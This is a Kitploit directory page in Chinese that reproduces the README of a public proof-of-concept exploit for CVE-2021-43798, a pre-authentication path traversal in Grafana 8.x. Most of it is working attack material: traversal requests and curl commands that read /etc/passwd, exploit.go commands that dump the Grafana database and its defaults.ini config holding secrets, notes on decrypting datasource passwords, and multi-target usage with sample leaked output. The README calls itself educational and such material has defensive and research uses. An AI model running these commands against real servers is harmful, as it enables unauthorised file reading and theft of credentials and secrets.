Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth) | Kitploit
工具/GitHubGitHub/taythebot/cve-2021-43798
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)

查看仓库
4184年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-43798

Grafana 8.x 路径遍历(未授权)

所有荣誉归 j0v 及其推文 https://twitter.com/j0v0x0/status/1466845212626542607

免责声明

仅供教育目的使用。本人不对你的行为负责。请自行斟酌使用。

本着善意,我已推迟发布此 PoC,直到该漏洞公开或补丁可用。

目录

  • 解释 - 漏洞说明
  • 攻击向量 - 可执行的攻击列表
  • 利用脚本 - 利用脚本使用说明

解释

我注意到 j0v 的一条推文声称发现了 Grafana 路径遍历漏洞。出于好奇,我开始查看 Grafana 源代码。推文中提到这是一个未授权漏洞。Grafana 只有少数几个公开 API 端点,而其中只有一个会从用户处接收文件路径。

Grafana 有一个公开 API 端点 /public/plugins/:pluginId,允许查看插件的资源。其工作方式是提供一个有效的 :pluginId,然后指定文件路径,例如 img/logo.png。然而,Grafana 未能对用户提供的文件路径进行清理,导致路径遍历。

被访问的目录位于 <grafana>/public/app/plugins/panel/<pluginId>。在标准 Grafana 安装中,Grafana 数据目录为 /usr/share/grafana。因此,通过回溯 8 个目录,可以到达文件系统根目录。

HTTP 请求:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

有问题的代码:https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

注意:这在浏览器中不起作用(浏览器会自动折叠路径中的 ../)

可以通过 curl 使用 --path-as-is 参数进行测试:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

攻击向量

以下是可利用此漏洞执行的一些攻击

导出 Sqlite 数据库

默认情况下,Grafana 使用 sqlite3 数据库。该数据库存储在 /var/lib/grafana/grafana.db。你可以使用 exploit.go 脚本导出此数据库。

示例:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

然后你可以读取此数据库以获取用户、认证令牌和数据源。

导出 defaults.ini 配置文件

Grafana 将其配置存储在 <grafana>/conf/defaults.ini 文件中。这里有几个有趣的值,例如 secret_key、host、user、password(如果使用 mysql 而非 sqlite3)。

示例:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

参考:https://grafana.com/docs/grafana/latest/administration/configuration/

解密数据源密码

Grafana 使用 AES-256-CBC 对所有数据源密码进行加密,密钥来自 defaults.ini 配置文件中的 secret_key。我们可以如上所示导出此配置文件,然后从数据库中解密这些值。

参考:https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

会话接管

Grafana 将会话令牌存储在 auth_tokens 表中。我尚未能成功接管会话,但如果你阅读源代码,应该能找出方法。

利用脚本

示例

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

单个目标

root@kitploit:~
go run exploit.go -target <target> -file <path>

输出到文件

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

注意:不支持多目标

多个目标

root@kitploit:~
go run exploit.go -list <list> -file <path>

导出 defaults.ini

root@kitploit:~
go run exploit.go -target <target> -dump-config

导出 sqlite3 数据库

root@kitploit:~
go run exploit.go -target <target> -dump-database

构建

root@kitploit:~
make build
下载工具